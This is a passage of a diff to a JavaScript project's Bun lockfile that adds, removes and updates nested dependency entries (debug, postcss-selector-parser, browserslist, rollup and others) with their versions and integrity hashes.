     "mdast-util-mdx-jsx/unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="],
 
+    "memorystore/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+    "mermaid/dayjs": ["dayjs@1.11.19", "", {}, "sha512-t5EcLVS6QPBNqM2z8fakk/NKel+Xzshgt8FFKAn+qwlD1pzZWxh0nVCrvFK7ZDb6XucZeF9z8C7CBWTRIVApAw=="],
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+    "mermaid/uuid": ["uuid@11.1.0", "", { "bin": "dist/esm/bin/uuid" }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="],
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     "miller-rabin/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
 
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     "mongodb-connection-string-url/whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="],
 
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     "mongodb-memory-server-core/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
 
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     "multer/type-is": ["type-is@1.6.18", "", { "dependencies": { "media-typer": "0.3.0", "mime-types": "~2.1.24" } }, "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g=="],
 
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     "node-stdlib-browser/buffer": ["buffer@5.7.1", "", { "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" } }, "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ=="],
 
     "node-stdlib-browser/pkg-dir": ["pkg-dir@5.0.0", "", { "dependencies": { "find-up": "^5.0.0" } }, "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA=="],
 
+    "nodemon/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+    "nodemon/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
     "nodemon/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
 
     "npm-run-path/path-key": ["path-key@4.0.0", "", {}, "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ=="],
@@ -6073,18 +6317,26 @@
 
     "playwright/fsevents": ["fsevents@2.3.2", "", { "os": "darwin" }, "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA=="],
 
+    "postcss-attribute-case-insensitive/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
     "postcss-colormin/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
 
     "postcss-convert-values/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
 
+    "postcss-custom-selectors/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+    "postcss-dir-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+    "postcss-focus-visible/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+    "postcss-focus-within/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
     "postcss-import/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
 
     "postcss-load-config/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
 
     "postcss-load-config/yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="],
 
-    "postcss-loader/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
-
     "postcss-merge-rules/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
 
     "postcss-minify-params/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
@@ -6093,20 +6345,28 @@
 
     "postcss-modules-scope/postcss-selector-parser": ["postcss-selector-parser@7.1.0", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA=="],
 
+    "postcss-nesting/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
     "postcss-normalize-unicode/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
 
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+    "postcss-preset-env/autoprefixer": ["autoprefixer@10.4.27", "", { "dependencies": { "browserslist": "^4.28.1", "caniuse-lite": "^1.0.30001774", "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": { "autoprefixer": "bin/autoprefixer" } }, "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA=="],
 
-    "postcss-preset-env/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+    "postcss-preset-env/browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="],
+
+    "postcss-pseudo-class-any-link/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
 
     "postcss-reduce-initial/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
 
+    "postcss-selector-not/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
     "pretty-format/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
 
     "pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
 
     "prop-types/react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="],
 
+    "protobufjs/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
+
     "public-encrypt/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="],
 
     "rc-util/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
@@ -6133,6 +6393,8 @@
 
     "remark-supersub/unist-util-visit": ["unist-util-visit@4.1.2", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-is": "^5.0.0", "unist-util-visit-parents": "^5.1.1" } }, "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg=="],
 
+    "require-in-the-middle/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
     "resolve-cwd/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
 
     "restore-cursor/onetime": ["onetime@7.0.0", "", { "dependencies": { "mimic-function": "^5.0.0" } }, "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ=="],
@@ -6147,7 +6409,9 @@
 
     "rollup-pluginutils/estree-walker": ["estree-walker@0.6.1", "", {}, "sha512-SqmZANLWS0mnatqbSfRP5g8OXZC12Fgg1IwNtLsyHDzJizORW4khDfjPqJZsemPWBB2uqykUah5YpQ6epsqC/w=="],
 
-    "schema-utils/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
+    "router/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+    "send/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
 
     "sharp/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
 
@@ -6173,6 +6437,8 @@
 
     "sucrase/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
 
+    "superagent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
     "superagent/mime": ["mime@2.6.0", "", { "bin": "cli.js" }, "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg=="],
 
     "superagent/qs": ["qs@6.13.0", "", { "dependencies": { "side-channel": "^1.0.6" } }, "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg=="],
@@ -6181,6 +6447,10 @@
 
     "svgo/css-select": ["css-select@4.3.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.0.1", "domhandler": "^4.3.1", "domutils": "^2.8.0", "nth-check": "^2.0.1" } }, "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ=="],
 
+    "svgo/sax": ["sax@1.5.0", "", {}, "sha512-21IYA3Q5cQf089Z6tgaUTr7lDAyzoTPx5HRtbhsME8Udispad8dC/+sziTNugOEx54ilvatQ9YCzl4KQLPcRHA=="],
+
+    "swr/use-sync-external-store": ["use-sync-external-store@1.6.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w=="],
+
     "tailwindcss/arg": ["arg@5.0.2", "", {}, "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="],
 
     "tailwindcss/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="],
@@ -6193,17 +6463,9 @@
 
     "terser/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="],
 
-    "terser-webpack-plugin/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
-    "terser-webpack-plugin/jest-worker": ["jest-worker@27.5.1", "", { "dependencies": { "@types/node": "*", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" } }, "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg=="],
-
     "test-exclude/glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="],
 
-    "tinyglobby/fdir": ["fdir@6.4.4", "", { "peerDependencies": { "picomatch": "^3 || ^4" } }, "sha512-1NZP+GK4GfuAv3PqKvxQRDMjdSRZjnkq7KfhlNrCNNlZ0ygQFpebfrnfnq/W7fpUnAv9aGWmY1zKx7FYL3gwhg=="],
-
-    "tinyglobby/picomatch": ["picomatch@4.0.2", "", {}, "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg=="],
-
-    "ts-node/diff": ["diff@4.0.2", "", {}, "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="],
+    "test-exclude/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
 
     "tsconfig-paths/json5": ["json5@1.0.2", "", { "dependencies": { "minimist": "^1.2.0" }, "bin": "lib/cli.js" }, "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA=="],
 
@@ -6225,19 +6487,19 @@
 
     "vasync/verror": ["verror@1.10.0", "", { "dependencies": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", "extsprintf": "^1.2.0" } }, "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw=="],
 
+    "verror/core-util-is": ["core-util-is@1.0.2", "", {}, "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ=="],
+
     "vfile-location/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
 
     "vfile-location/vfile": ["vfile@5.3.7", "", { "dependencies": { "@types/unist": "^2.0.0", "is-buffer": "^2.0.0", "unist-util-stringify-position": "^3.0.0", "vfile-message": "^3.0.0" } }, "sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g=="],
 
-    "webpack/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+    "vite/postcss": ["postcss@8.5.8", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg=="],
 
-    "webpack/eslint-scope": ["eslint-scope@5.1.1", "", { "dependencies": { "esrecurse": "^4.3.0", "estraverse": "^4.1.1" } }, "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw=="],
-
-    "webpack/mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="],
+    "vite/rollup": ["rollup@4.59.0", "", { "dependencies": { "@types/estree": "1.0.8" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.59.0", "@rollup/rollup-android-arm64": "4.59.0", "@rollup/rollup-darwin-arm64": "4.59.0", "@rollup/rollup-darwin-x64": "4.59.0", "@rollup/rollup-freebsd-arm64": "4.59.0", "@rollup/rollup-freebsd-x64": "4.59.0", "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", "@rollup/rollup-linux-arm-musleabihf": "4.59.0", "@rollup/rollup-linux-arm64-gnu": "4.59.0", "@rollup/rollup-linux-arm64-musl": "4.59.0", "@rollup/rollup-linux-loong64-gnu": "4.59.0", "@rollup/rollup-linux-loong64-musl": "4.59.0", "@rollup/rollup-linux-ppc64-gnu": "4.59.0", "@rollup/rollup-linux-ppc64-musl": "4.59.0", "@rollup/rollup-linux-riscv64-gnu": "4.59.0", "@rollup/rollup-linux-riscv64-musl": "4.59.0", "@rollup/rollup-linux-s390x-gnu": "4.59.0", "@rollup/rollup-linux-x64-gnu": "4.59.0", "@rollup/rollup-linux-x64-musl": "4.59.0", "@rollup/rollup-openbsd-x64": "4.59.0", "@rollup/rollup-openharmony-arm64": "4.59.0", "@rollup/rollup-win32-arm64-msvc": "4.59.0", "@rollup/rollup-win32-ia32-msvc": "4.59.0", "@rollup/rollup-win32-x64-gnu": "4.59.0", "@rollup/rollup-win32-x64-msvc": "4.59.0", "fsevents": "~2.3.2" }, "bin": { "rollup": "dist/bin/rollup" } }, "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg=="],
 
     "winston-daily-rotate-file/winston-transport": ["winston-transport@4.7.0", "", { "dependencies": { "logform": "^2.3.2", "readable-stream": "^3.6.0", "triple-beam": "^1.3.0" } }, "sha512-ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg=="],
 
-    "workbox-build/@babel/preset-env": ["@babel/preset-env@7.23.9", "", { "dependencies": { "@babel/compat-data": "^7.23.5", "@babel/helper-compilation-targets": "^7.23.6", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-validator-option": "^7.23.5", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.23.3", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.23.3", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.23.7", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-async-generators": "^7.8.4", "@babel/plugin-syntax-class-properties": "^7.12.13", "@babel/plugin-syntax-class-static-block": "^7.14.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3", "@babel/plugin-syntax-export-namespace-from": "^7.8.3", "@babel/plugin-syntax-import-assertions": "^7.23.3", "@babel/plugin-syntax-import-attributes": "^7.23.3", "@babel/plugin-syntax-import-meta": "^7.10.4", "@babel/plugin-syntax-json-strings": "^7.8.3", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", "@babel/plugin-syntax-numeric-separator": "^7.10.4", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", "@babel/plugin-syntax-optional-chaining": "^7.8.3", "@babel/plugin-syntax-private-property-in-object": "^7.14.5", "@babel/plugin-syntax-top-level-await": "^7.14.5", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.23.3", "@babel/plugin-transform-async-generator-functions": "^7.23.9", "@babel/plugin-transform-async-to-generator": "^7.23.3", "@babel/plugin-transform-block-scoped-functions": "^7.23.3", "@babel/plugin-transform-block-scoping": "^7.23.4", "@babel/plugin-transform-class-properties": "^7.23.3", "@babel/plugin-transform-class-static-block": "^7.23.4", 